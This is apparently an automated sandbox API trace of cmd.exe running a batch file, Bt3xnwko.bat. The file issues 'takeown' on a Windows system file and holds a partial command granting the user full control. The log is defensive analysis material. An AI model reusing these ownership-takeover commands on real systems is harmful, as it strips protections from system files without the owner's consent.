_ArgList=0x41f2a0 | out: _Buffer=">") returned 1 [0098.171] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.171] GetFileType (hFile=0x7) returned 0x2 [0098.172] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.172] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f268 | out: lpMode=0x41f268) returned 1 [0098.172] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.172] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x41f294, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x41f294*=0x26) returned 1 [0098.172] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.172] GetFileType (hFile=0x7) returned 0x2 [0098.173] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.173] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4ec | out: lpMode=0x41f4ec) returned 1 [0098.173] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.173] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x8412a8*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x41f518, lpReserved=0x0 | out: lpBuffer=0x8412a8*, lpNumberOfCharsWritten=0x41f518*=0x7) returned 1 [0098.173] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x41f524 | out: _Buffer=" /F \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\" ") returned 60 [0098.173] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.173] GetFileType (hFile=0x7) returned 0x2 [0098.174] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.174] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4e4 | out: lpMode=0x41f4e4) returned 1 [0098.174] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.174] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3c, lpNumberOfCharsWritten=0x41f510, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f510*=0x3c) returned 1 [0098.175] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f544 | out: _Buffer="\r\n") returned 2 [0098.175] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.175] GetFileType (hFile=0x7) returned 0x2 [0098.176] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.176] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f504 | out: lpMode=0x41f504) returned 1 [0098.176] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.176] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f530, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f530*=0x2) returned 1 [0098.177] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0098.177] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0098.177] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0098.177] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0098.177] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0098.177] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0098.177] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0098.177] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0098.177] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0098.177] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0098.177] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0098.177] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0098.177] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0098.177] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0098.177] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0098.178] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0098.178] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0098.178] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0098.178] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0098.178] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0098.178] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0098.178] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0098.178] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0098.178] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0098.178] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0098.178] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0098.178] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0098.178] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0098.178] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0098.178] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0098.178] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0098.178] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0098.178] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0098.178] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0098.178] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0098.178] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0098.178] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0098.178] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0098.178] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0098.178] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0098.178] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0098.178] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0098.178] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x856180, lpFilePart=0x41f2e8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f2e8*="Desktop") returned 0x25 [0098.178] SetErrorMode (uMode=0x0) returned 0x1 [0098.179] GetProcessHeap () returned 0x840000 [0098.179] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x856178, Size=0x64) returned 0x856178 [0098.179] GetProcessHeap () returned 0x840000 [0098.179] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x856178) returned 0x64 [0098.179] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0098.179] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0098.179] GetProcessHeap () returned 0x840000 [0098.179] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x120) returned 0x8561e8 [0098.179] GetProcessHeap () returned 0x840000 [0098.179] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x238) returned 0x856310 [0098.179] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0098.179] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x41f064, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f064) returned 0xffffffff [0098.179] GetLastError () returned 0x2 [0098.179] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x41f064, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f064) returned 0xffffffff [0098.179] GetLastError () returned 0x2 [0098.179] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0098.180] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x41f064, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f064) returned 0x8564c0 [0098.180] FindClose (in: hFindFile=0x8564c0 | out: hFindFile=0x8564c0) returned 1 [0098.180] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x41f064, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f064) returned 0xffffffff [0098.180] GetLastError () returned 0x2 [0098.180] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x41f064, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f064) returned 0x8564c0 [0098.180] FindClose (in: hFindFile=0x8564c0 | out: hFindFile=0x8564c0) returned 1 [0098.180] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0098.180] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0098.180] GetConsoleTitleW (in: lpConsoleTitle=0x41f0b4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0098.181] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x856c50, lpFilePart=0x41ebd4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41ebd4*="Desktop") returned 0x25 [0098.181] SetErrorMode (uMode=0x0) returned 0x1 [0098.181] GetProcessHeap () returned 0x840000 [0098.181] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x856c48, Size=0x64) returned 0x856c48 [0098.181] GetProcessHeap () returned 0x840000 [0098.181] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x856c48) returned 0x64 [0098.181] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0098.181] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0098.181] GetProcessHeap () returned 0x840000 [0098.181] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x120) returned 0x856770 [0098.181] GetProcessHeap () returned 0x840000 [0098.181] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x238) returned 0x856898 [0098.181] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0098.181] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x41e950, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e950) returned 0xffffffff [0098.181] GetLastError () returned 0x2 [0098.181] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x41e950, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e950) returned 0xffffffff [0098.182] GetLastError () returned 0x2 [0098.182] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0098.182] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x41e950, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e950) returned 0x856a48 [0098.182] FindClose (in: hFindFile=0x856a48 | out: hFindFile=0x856a48) returned 1 [0098.182] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x41e950, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e950) returned 0xffffffff [0098.182] GetLastError () returned 0x2 [0098.182] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x41e950, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e950) returned 0x856a48 [0098.182] FindClose (in: hFindFile=0x856a48 | out: hFindFile=0x856a48) returned 1 [0098.182] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0098.182] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0098.182] GetConsoleTitleW (in: lpConsoleTitle=0x41ee48, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0098.183] InitializeProcThreadAttributeList (in: lpAttributeList=0x41ecd0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x41ed98 | out: lpAttributeList=0x41ecd0, lpSize=0x41ed98) returned 1 [0098.183] UpdateProcThreadAttribute (in: lpAttributeList=0x41ecd0, dwFlags=0x0, Attribute=0x60001, lpValue=0x41ed90, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x41ecd0, lpPreviousValue=0x0) returned 1 [0098.183] GetStartupInfoW (in: lpStartupInfo=0x41ec8c | out: lpStartupInfo=0x41ec8c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0098.183] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0098.183] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x41ed2c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x41ed78 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\"", lpProcessInformation=0x41ed78*(hProcess=0x78, hThread=0x74, dwProcessId=0xde8, dwThreadId=0xdec)) returned 1 [0098.193] CloseHandle (hObject=0x74) returned 1 [0098.193] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0098.193] GetProcessHeap () returned 0x840000 [0098.193] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x85a118 | out: hHeap=0x840000) returned 1 [0098.193] GetEnvironmentStringsW () returned 0x857f30* [0098.193] GetProcessHeap () returned 0x840000 [0098.194] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb5c) returned 0x85a118 [0098.194] FreeEnvironmentStringsW (penv=0x857f30) returned 1 [0098.194] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0099.636] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x41ec6c | out: lpExitCode=0x41ec6c*=0x0) returned 1 [0099.636] CloseHandle (hObject=0x78) returned 1 [0099.637] _vsnwprintf (in: _Buffer=0x41edb4, _BufferCount=0x13, _Format="%08X", _ArgList=0x41ec78 | out: _Buffer="00000000") returned 8 [0099.637] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0099.637] GetProcessHeap () returned 0x840000 [0099.637] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x85a118 | out: hHeap=0x840000) returned 1 [0099.637] GetEnvironmentStringsW () returned 0x857f30* [0099.637] GetProcessHeap () returned 0x840000 [0099.637] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb5c) returned 0x85a118 [0099.637] FreeEnvironmentStringsW (penv=0x857f30) returned 1 [0099.637] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0099.637] GetProcessHeap () returned 0x840000 [0099.637] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x85a118 | out: hHeap=0x840000) returned 1 [0099.637] GetEnvironmentStringsW () returned 0x857f30* [0099.637] GetProcessHeap () returned 0x840000 [0099.637] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb5c) returned 0x85a118 [0099.637] FreeEnvironmentStringsW (penv=0x857f30) returned 1 [0099.637] GetProcessHeap () returned 0x840000 [0099.637] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x840db8 | out: hHeap=0x840000) returned 1 [0099.637] DeleteProcThreadAttributeList (in: lpAttributeList=0x41ecd0 | out: lpAttributeList=0x41ecd0) [0099.637] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.637] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0099.638] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.638] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0099.638] _get_osfhandle (_FileHandle=0) returned 0x3 [0099.638] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0099.638] SetConsoleInputExeNameW () returned 0x1 [0099.638] GetConsoleOutputCP () returned 0x1b5 [0099.639] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0099.639] SetThreadUILanguage (LangId=0x0) returned 0x409 [0099.639] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f4ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0099.639] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0099.639] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.639] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0099.639] GetProcessHeap () returned 0x840000 [0099.639] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8569c8 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856898 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856770 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856c48 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8566d8 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8564c0 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856440 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856310 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8561e8 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856178 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8560f0 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8412a0 | out: hHeap=0x840000) returned 1 [0099.640] GetProcessHeap () returned 0x840000 [0099.640] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x841240 | out: hHeap=0x840000) returned 1 [0099.640] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.640] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0099.640] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f4d0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x41f4d0*=0xb3, lpOverlapped=0x0) returned 1 [0099.640] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0099.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0099.641] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.641] GetFileType (hFile=0x78) returned 0x1 [0099.641] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.641] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0099.641] GetProcessHeap () returned 0x840000 [0099.641] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x400a) returned 0x864aa8 [0099.642] GetProcessHeap () returned 0x840000 [0099.642] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x76) returned 0x851060 [0099.642] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui", nBufferLength=0x208, lpBuffer=0x41ec60, lpFilePart=0x41ec58 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui", lpFilePart=0x41ec58*="jnwdui.dll.mui") returned 0x35 [0099.642] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x41e974 | out: lpFindFileData=0x41e974*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x841240 [0099.642] FindClose (in: hFindFile=0x841240 | out: hFindFile=0x841240) returned 1 [0099.642] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0099.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal", lpFindFileData=0x41e974 | out: lpFindFileData=0x41e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 0x841240 [0099.642] FindClose (in: hFindFile=0x841240 | out: hFindFile=0x841240) returned 1 [0099.642] _wcsnicmp (_String1="WI0FCF~1", _String2="Windows Journal", _MaxCount=0xf) returned -62 [0099.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US", lpFindFileData=0x41e974 | out: lpFindFileData=0x41e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0x841240 [0099.642] FindClose (in: hFindFile=0x841240 | out: hFindFile=0x841240) returned 1 [0099.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui", lpFindFileData=0x41e974 | out: lpFindFileData=0x41e974*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 0x841240 [0099.643] FindClose (in: hFindFile=0x841240 | out: hFindFile=0x841240) returned 1 [0099.643] GetProcessHeap () returned 0x840000 [0099.643] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x26) returned 0x84f4d8 [0099.643] GetProcessHeap () returned 0x840000 [0099.643] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x864aa8 | out: hHeap=0x840000) returned 1 [0099.644] _tell (_FileHandle=3) returned 63 [0099.644] _close (_FileHandle=3) returned 0 [0099.644] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f2a4 | out: _Buffer="\r\n") returned 2 [0099.644] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.644] GetFileType (hFile=0x7) returned 0x2 [0099.644] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.644] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f264 | out: lpMode=0x41f264) returned 1 [0099.644] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.645] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f290, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f290*=0x2) returned 1 [0099.869] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0099.869] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0099.869] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x41f2a0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0099.869] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x41f2a0 | out: _Buffer=">") returned 1 [0099.869] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.869] GetFileType (hFile=0x7) returned 0x2 [0099.869] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.869] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f268 | out: lpMode=0x41f268) returned 1 [0099.870] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.870] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x41f294, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x41f294*=0x26) returned 1 [0099.870] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.870] GetFileType (hFile=0x7) returned 0x2 [0099.870] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.870] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4ec | out: lpMode=0x41f4ec) returned 1 [0099.871] _get_osfhandle (_FileHandle=1) returned 0x7 